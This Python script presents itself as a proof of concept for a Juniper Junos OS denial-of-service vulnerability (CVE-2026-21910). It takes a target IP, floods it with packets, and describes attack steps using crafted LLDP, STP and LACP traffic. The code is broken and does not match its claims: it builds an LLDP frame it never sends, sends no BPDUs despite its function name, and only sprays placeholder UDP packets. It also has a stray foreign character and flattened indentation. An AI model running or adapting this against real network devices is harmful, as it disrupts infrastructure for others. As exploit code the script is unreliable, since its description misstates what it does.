#!/usr/bin/env python3
# CVE-2026-21910 PoC - Juniper Junos OS PFE DoS
# This PoC simulates interface flapping to trigger the vulnerability
# Note: Requires network adjacency to target device
import socket
import struct
import time
import sys
def send_bpdu_oscillation(target_ip, duration=60):
"""
Simulate rapid interface state changes to trigger the vulnerability.
In real attack, this would involve:
1. Sending crafted LLDP/CDP packets to cause port flapping
2. Sending STP BPDUs to trigger TCN (Topology Change Notification)
3. Exploiting LACP rate changes
"""
print(f"[*] Starting interface flapping simulation against {target_ip}")
print(f"[*] Duration: {duration} seconds")
# LLDP frame to trigger port state changes
lldp_frame = bytes([
0x01, 0x80, 0xc2, 0x00, 0x00, 0x0e, # Destination MAC (LLDP multicast)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Source MAC
0x88, 0xcc, # LLDP Ethertype
# LLDP TLV header (Chassis ID)
0x02, 0x07, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
# Port ID TLV
0x04, 0x04, 0x03, 0x00, 0x00, 0x01,
# TTL TLV
0x06, 0x02, 0x00, 0x78,
# End TLV
0x00, 0x00
])
start_time = time.time()
packet_count = 0
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Rapidly send packets to simulate flapping
while time.time() - start_time < duration:
# In real scenario, this would be raw socket L2 injection
# For demonstration, using UDP as placeholder
sock.sendto(b"FLAP_TRIGGER", (target_ip, 4789))
packet_count += 1
time.sleep(0.01) # 100 packets per second
if packet_count % 1000 == 0:
print(f"[*] Sent {packet_count} packets...")
print(f"[+] Completed. Sent {packet_count} packets in {duration}s")
print("[!] Check if VNI间 traffic is dropping on target device")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
def verify_vulnerability(target_ip):
"""
Verify if the vulnerability is exploitable by checking:
1. Device is Juniper with affected version
2. EVPN-VXLAN is configured
3. LAG exists with multiple paths
"""
print(f"[*] Checking vulnerability status on {target_ip}")
# In real scenario, would check via SNMP/JTI API
print("[*] Note: Manual verification required via CLI:")
print(" show interfaces extensive | match 'logical'")
print(" show evpn database")
print(" show vxlan tunnel statistics")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 CVE-2026-21910_poc.py <target_ip> [duration]")
sys.exit(1)
target = sys.argv[1]
duration = int(sys.argv[2]) if len(sys.argv) > 2 else 60
verify_vulnerability(target)
send_bpdu_oscillation(target, duration)